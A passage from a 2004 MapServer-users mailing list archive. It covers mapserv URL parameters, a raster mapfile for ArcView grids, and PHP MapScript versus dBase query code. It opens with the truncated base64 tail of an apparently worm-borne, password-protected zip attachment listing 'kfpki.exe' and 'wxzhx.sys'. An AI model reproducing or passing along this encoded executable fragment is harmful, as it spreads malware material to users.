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
SwUGAAAAAAIAAgBuAAAA8VMAAAAA
----------qwddimkqfsgfatjlkrre--
From mapserver@meteologica.es Wed May 5 15:02:41 2004
From: mapserver@meteologica.es (Paco Regodon)
Date: Wed, 5 May 2004 16:02:41 +0200
Subject: [Mapserver-users] center map on x,y coordinates
In-Reply-To:
References:
Message-ID: <200405051602.41571.mapserver@meteologica.es>
On Wednesday 05 May 2004 12:25, Elisabeth Nolz wrote:
> the problem were not the double quotes but the comma in my coordinates, so
> i tried points instead of commas:
> http://localhost/cgi-bin/mapserv?map=map.map&mapxy=339989.20%201646.20&scal
>e=5000
>
> now i get this new error (???):
> mapserv(): Web application error. No template provided.
It seems you forgot "&mode=map".
Try this url:
http://localhost/cgi-bin/mapserv?map=map.map&mode=map&mapxy=339989.20+1646.20&scale=2000000
From mszpak@wp.pl Wed May 5 16:34:34 2004
From: mszpak@wp.pl (=?ISO-8859-2?Q?Marcin_Zaj=B1czkowski?=)
Date: Wed, 05 May 2004 17:34:34 +0200
Subject: [Mapserver-users] Display ADF grid format through MapServer
In-Reply-To: <408D724C.3080302@wp.pl>
References: <408D724C.3080302@wp.pl>
Message-ID: <4099098A.6000706@wp.pl>
Dnia 2004-04-26 22:34, U¿ytkownik Marcin Zaj±czkowski napisa³:
> I try to display raster map stored in ArcView grid format (ADF). I
(...)
> Maybe somebody could point me place with some sample map file (to work
> with grid) or send me one?
After many tests I did it. Below info for people with similar problem.
In my case the problem was with SHAPEPATH in map file. Assigned value
'coused that mapserver looked for raster files in directory for shape
files...
Below some minimal file which works for me.
MAP
IMAGETYPE PNG24
#some Your extent
EXTENT 3745019.024215 5475485.177366 3753882.753967 5495002.010907
UNITS METERS
SIZE 400 300
IMAGECOLOR 255 255 255
LAYER # raster layer
NAME dem
DATA "dem" #directory with grid
STATUS DEFAULT
TYPE RASTER
END
END
My files structure:
[szpak@szpak my2]$ ls
dem
info
grid.map
[szpak@szpak my2]$ ls dem
dblbnd.adf hdr.adf log prj.adf sta.adf vat.adf w001001.adf
w001001x.adf
[szpak@szpak my2]$ ls info
arc0003.dat arc0004.dat arc0005.dat arc0005r.001
arc0003.nit arc0004.nit arc0005.nit arc.dir
I the problem still exists, this (probably) means that it isn't problem
with map file. I suggest to read Raster Tutorial (which describe how to
check what format does MapServer actually support).
http://mapserver.gis.umn.edu/doc40/raster-howto.html
Hope that it helps someone
Marcin
From imd_listuser@comcast.net Wed May 5 16:37:32 2004
From: imd_listuser@comcast.net (IMD Listuser)
Date: Wed, 5 May 2004 11:37:32 -0400
Subject: [Mapserver-users] Projected and Unprojected Coordinates?
Message-ID: <90264B8395BF154DB2CB12B068DFFAE903B093@westward.im-design.net>
Greetings all
I have a mapserver app that is successfully projecting on the fly from
Geographic to Equidistant Cylindrical (eqc). At the moment the [mapext]
cgi variable is returning the extent in projected coordinates. Is there
a cgi variable that will give me the unprojected equivalent (in decimal
degrees)?
TIA
From ARyan@co.linn.or.us Wed May 5 17:02:39 2004
From: ARyan@co.linn.or.us (Ryan, Adam)
Date: Wed, 5 May 2004 09:02:39 -0700
Subject: [Mapserver-users] Which is better: PHPMapScript query engine
or PHP dBase functions?
Message-ID: <614FCE5F14A6D41180C200010240D6A25DC8DF@LINNMS>
Norbert writes...
>//this first part is a separate form but it should work also in one
>
>$recs = dbase_numrecords($dbi);//opened dbf
>
>$q_index_array = array();//save the indexes from the .dbf in this array
>
>for ($i = 1; $i < $recs; $i++)
>{
> $s_field = dbase_get_record_with_names($dbi, ($i + 1));
>
> if (!(strpos(strtolower($s_field[$qitem]), strtolower($qstring))) ===
>false))
> {
> $q_index_array[] = $i;
> }
>}
This is too slow and limited. You should try the ODBC functions in PHP.
You can run SQL queries on a dbf file by regarding the directory in which
the file resides as the database. This gives you all the flexibility of SQL
statements.
>for ($i = 0; $i < count($q_index_array); $i++)
>{
> if (@$map->queryByIndex($qlayer->index, 0, $q_index_array[$i],
>MS_FALSE) == MS_SUCCESS)
> {
> $q_img = $map->drawquery();
> $q_path = $q_img->savewebimage();
> echo "";
> }
>}
I'm not sure I get this code. Seems like your stepping through a list of
index numbers, setting them with queryByIndex, but then drawing the map
after every index? I don't get it. The map should be drawn after iterating
through the whole array, no?
Anyway, I think the two routines above are flawed in that the index values
in the shapefile and in the dBase file and not be assumed to be equal. If
I'm wrong about this I hope someone will correct me. They usually are the
same, but the whole point of the *.shx file is to reconcile differences in
the indexing. So you're taking the indexing from the dBase and applying
this to the shapefile and I think on careful examination on some of larger
file sets you'll find that what you're displaying textually and graphically
don't match.
By the way, I've found that queryByIndex is way too slow. It works fine for
a small set of records, but with large selection sets I've found it's too
slow. I use save and load query as much as I can.
Adam
-----Original Message-----
From: Norbert Thieme [mailto:norbert.thieme@ilmenau.baw.de]
Sent: Tuesday, May 04, 2004 1:20 AM
To: Ryan, Adam; eduardo@consultoria.eti.br
Cc: mapserver-users@lists.gis.umn.edu
Subject: Re: [Mapserver-users] Which is better: PHPMapScript query engine or
PHP dBase functions?
Ryan, Adam schrieb:
> Eduardo,
>
> I might be off track but...
>
> I thought about this myself. In order to display the result shapes
> you need to have a query result either from doing the query in
> mapscript or loading a saved query file. The former defeats the point
> of querying the dBase since you're duplicating your steps, and the
> later requires you to manually build a query file but you can't do
> that unless you can get at the dBase record - shapefile index
> relationship which I don't know how to do.
>
> Again, I may be off track, but querying the dBase file may not be
> feasible.
>
> Adam
>
> -----Original Message-----
> From: Eduardo Patto Kanegae [mailto:eduardo@consultoria.eti.br]
> Sent: Monday, May 03, 2004 11:06 AM
> To: mapserver-users@lists.gis.umn.edu
> Subject: [Mapserver-users] Which is better: PHPMapScript query engine or
PHP
> dBase functions?
>
>
> I have a mapserver+php+mapscript that will query on a shapefile
> database on a single layer, through its atributes.
>
> The system will give as result a set of items on a result list as a
> first step. Then as a second step a map displaying these results
> should be given.
>
> my doubt is: to create this result list which will be best strategy:
> - use PHPMapScript to query against the mapfile ?
> or
> - simply use PHP dBase functions to query against dBase files of the
> mapfile?
>
> which one is the best/fastest alternative?
>
> best regards.
>
> Eduardo Patto Kanegae
> http://www.consultoria.eti.br
> UIN: 303747254
>
> I Encontro Nacional de Usuários MapServer -
> http://mapserver.cttmar.univali.br/encontro2004
> Projeto MapServer Brasil - http://mapserver.cttmar.univali.br
>
> ***Fim da Mensagem / End of Message ***
>
>
>
>
> _______________________________________________
> Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> _______________________________________________
> Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
Hi,
I think you can use both. If you use querybyattributes then you use the
ability of the mapserver to search only in your current extent. But you
have the problem that the qstring must be exactly the same (case
sensitive). If anyone knows a way (without much own code) to search with
the mapserver after only parts of words and case ignoring it would be
great if he shares it. Because that would work with all kinds of types
of data not only for shapes.
For the other case I use the following code to search the way described
above - I cut it a bit:
//this first part is a seperate form but it should work also in one
$recs = dbase_numrecords($dbi);//opened dbf
$q_index_array = array();//save the indexes from the .dbf in this array
for ($i = 1; $i < $recs; $i++)
{
$s_field = dbase_get_record_with_names($dbi, ($i + 1));
if (!(strpos(strtolower($s_field[$qitem]), strtolower($qstring))) ===
false))
{
$q_index_array[] = $i;
}
}
//second part - map
for ($i = 0; $i < count($q_index_array); $i++)
{
if (@$map->queryByIndex($qlayer->index, 0, $q_index_array[$i],
MS_FALSE) == MS_SUCCESS)
{
$q_img = $map->drawquery();
$q_path = $q_img->savewebimage();
echo "";
}
}
Regards,
Norbert
From jenu_ab@hotmail.com Wed May 5 17:43:51 2004
From: jenu_ab@hotmail.com (Jenu Abraham)
Date: Wed, 05 May 2004 11:43:51 -0500
Subject: [Mapserver-users] representation from MS-SQL server
Message-ID:
I'm new to Mapserver GIS..
for most of u these questions i ask might seem really silly...
I have been using the shape files from Nationalatlas.gov website
I have been able to generate a road map of US...
now i'm trying to plot points on the map...
I have a table of lat long coordinates in my MS-SQL Server database which i
want to represent as a stars on my Map. Is it possible for me to represent
them ..
if yes how?
Anothter problem i'm facing is trying to figure out the extents of the
map...till now...i have been using the Hit and Trial method.... if somebody
can help me with a better more logical method....
What exactly do those 4 long numbers represent?
Thnks a lot
jenu
_________________________________________________________________
MSN Toolbar provides one-click access to Hotmail from any Web page – FREE
download! http://toolbar.msn.com/go/onm00200413ave/direct/01/
From eduardo@consultoria.eti.br Wed May 5 17:38:17 2004
From: eduardo@consultoria.eti.br (Eduardo Patto Kanegae)
Date: Wed, 5 May 2004 13:38:17 -0300
Subject: [Mapserver-users] Which is better: PHPMapScript query engine or PHP dBase functions?
In-Reply-To: <614FCE5F14A6D41180C200010240D6A25DC8DF@LINNMS>
References: <614FCE5F14A6D41180C200010240D6A25DC8DF@LINNMS>
Message-ID: <20040505163817.17526.qmail@hm47.locaweb.com.br>
Thanks for all replies.
By this time I decided to use the MapScript query engine because of portability: today my geodatabase is ShapeFiles, but tomorrow it could be PostGIS, MyGIS, ... so, I prefered Mapscript because I will be able to write only one code and query routines will be same.
best.
Eduardo Patto Kanegae
http://www.consultoria.eti.br
UIN: 303747254
I Encontro Nacional de Usuários MapServer - http://mapserver.cttmar.univali.br/encontro2004
Projeto MapServer Brasil - http://mapserver.cttmar.univali.br
***Fim da Mensagem / End of Message ***
On Wed, 5 May 2004 09:02:39 -0700, "Ryan, Adam" escreveu:
> De: "Ryan, Adam"
> Data: Wed, 5 May 2004 09:02:39 -0700
> Para: norbert.thieme@ilmenau.baw.de, eduardo@consultoria.eti.br
> Assunto: RE: [Mapserver-users] Which is better: PHPMapScript query engine or PHP dBase functions?
>
>
> Norbert writes...
>
> >//this first part is a separate form but it should work also in one
> >
> >$recs = dbase_numrecords($dbi);//opened dbf
> >
> >$q_index_array = array();//save the indexes from the .dbf in this array
> >
> >for ($i = 1; $i < $recs; $i++)
> >{
> > $s_field = dbase_get_record_with_names($dbi, ($i + 1));
> >
> > if (!(strpos(strtolower($s_field[$qitem]), strtolower($qstring))) ===
> >false))
> > {
> > $q_index_array[] = $i;
> > }
> >}
>
> This is too slow and limited. You should try the ODBC functions in PHP.
> You can run SQL queries on a dbf file by regarding the directory in which
> the file resides as the database. This gives you all the flexibility of SQL
> statements.
>
> >for ($i = 0; $i < count($q_index_array); $i++)
> >{
> > if (@$map->queryByIndex($qlayer->index, 0, $q_index_array[$i],
> >MS_FALSE) == MS_SUCCESS)
> > {
> > $q_img = $map->drawquery();
> > $q_path = $q_img->savewebimage();
> > echo "";
> > }
> >}
>
> I'm not sure I get this code. Seems like your stepping through a list of
> index numbers, setting them with queryByIndex, but then drawing the map
> after every index? I don't get it. The map should be drawn after iterating
> through the whole array, no?
>
> Anyway, I think the two routines above are flawed in that the index values
> in the shapefile and in the dBase file and not be assumed to be equal. If
> I'm wrong about this I hope someone will correct me. They usually are the
> same, but the whole point of the *.shx file is to reconcile differences in
> the indexing. So you're taking the indexing from the dBase and applying
> this to the shapefile and I think on careful examination on some of larger
> file sets you'll find that what you're displaying textually and graphically
> don't match.
>
> By the way, I've found that queryByIndex is way too slow. It works fine for
> a small set of records, but with large selection sets I've found it's too
> slow. I use save and load query as much as I can.
>
> Adam
>
>
> -----Original Message-----
> From: Norbert Thieme [mailto:norbert.thieme@ilmenau.baw.de]
> Sent: Tuesday, May 04, 2004 1:20 AM
> To: Ryan, Adam; eduardo@consultoria.eti.br
> Cc: mapserver-users@lists.gis.umn.edu
> Subject: Re: [Mapserver-users] Which is better: PHPMapScript query engine or
> PHP dBase functions?
>
>
> Ryan, Adam schrieb:
> > Eduardo,
> >
> > I might be off track but...
> >
> > I thought about this myself. In order to display the result shapes
> > you need to have a query result either from doing the query in
> > mapscript or loading a saved query file. The former defeats the point
> > of querying the dBase since you're duplicating your steps, and the
> > later requires you to manually build a query file but you can't do
> > that unless you can get at the dBase record - shapefile index
> > relationship which I don't know how to do.
> >
> > Again, I may be off track, but querying the dBase file may not be
> > feasible.
> >
> > Adam
> >
> > -----Original Message-----
> > From: Eduardo Patto Kanegae [mailto:eduardo@consultoria.eti.br]
> > Sent: Monday, May 03, 2004 11:06 AM
> > To: mapserver-users@lists.gis.umn.edu
> > Subject: [Mapserver-users] Which is better: PHPMapScript query engine or
> PHP
> > dBase functions?
> >
> >
> > I have a mapserver+php+mapscript that will query on a shapefile
> > database on a single layer, through its atributes.
> >
> > The system will give as result a set of items on a result list as a
> > first step. Then as a second step a map displaying these results
> > should be given.
> >
> > my doubt is: to create this result list which will be best strategy:
> > - use PHPMapScript to query against the mapfile ?
> > or
> > - simply use PHP dBase functions to query against dBase files of the
> > mapfile?
> >
> > which one is the best/fastest alternative?
> >
> > best regards.
> >
> > Eduardo Patto Kanegae
> > http://www.consultoria.eti.br
> > UIN: 303747254
> >
> > I Encontro Nacional de Usuários MapServer -
> > http://mapserver.cttmar.univali.br/encontro2004
> > Projeto MapServer Brasil - http://mapserver.cttmar.univali.br
> >
> > ***Fim da Mensagem / End of Message ***
> >
> >
> >
> >
> > _______________________________________________
> > Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> > _______________________________________________
> > Mapserver-users mailing list Mapserver-users@lists.gis.umn.ed
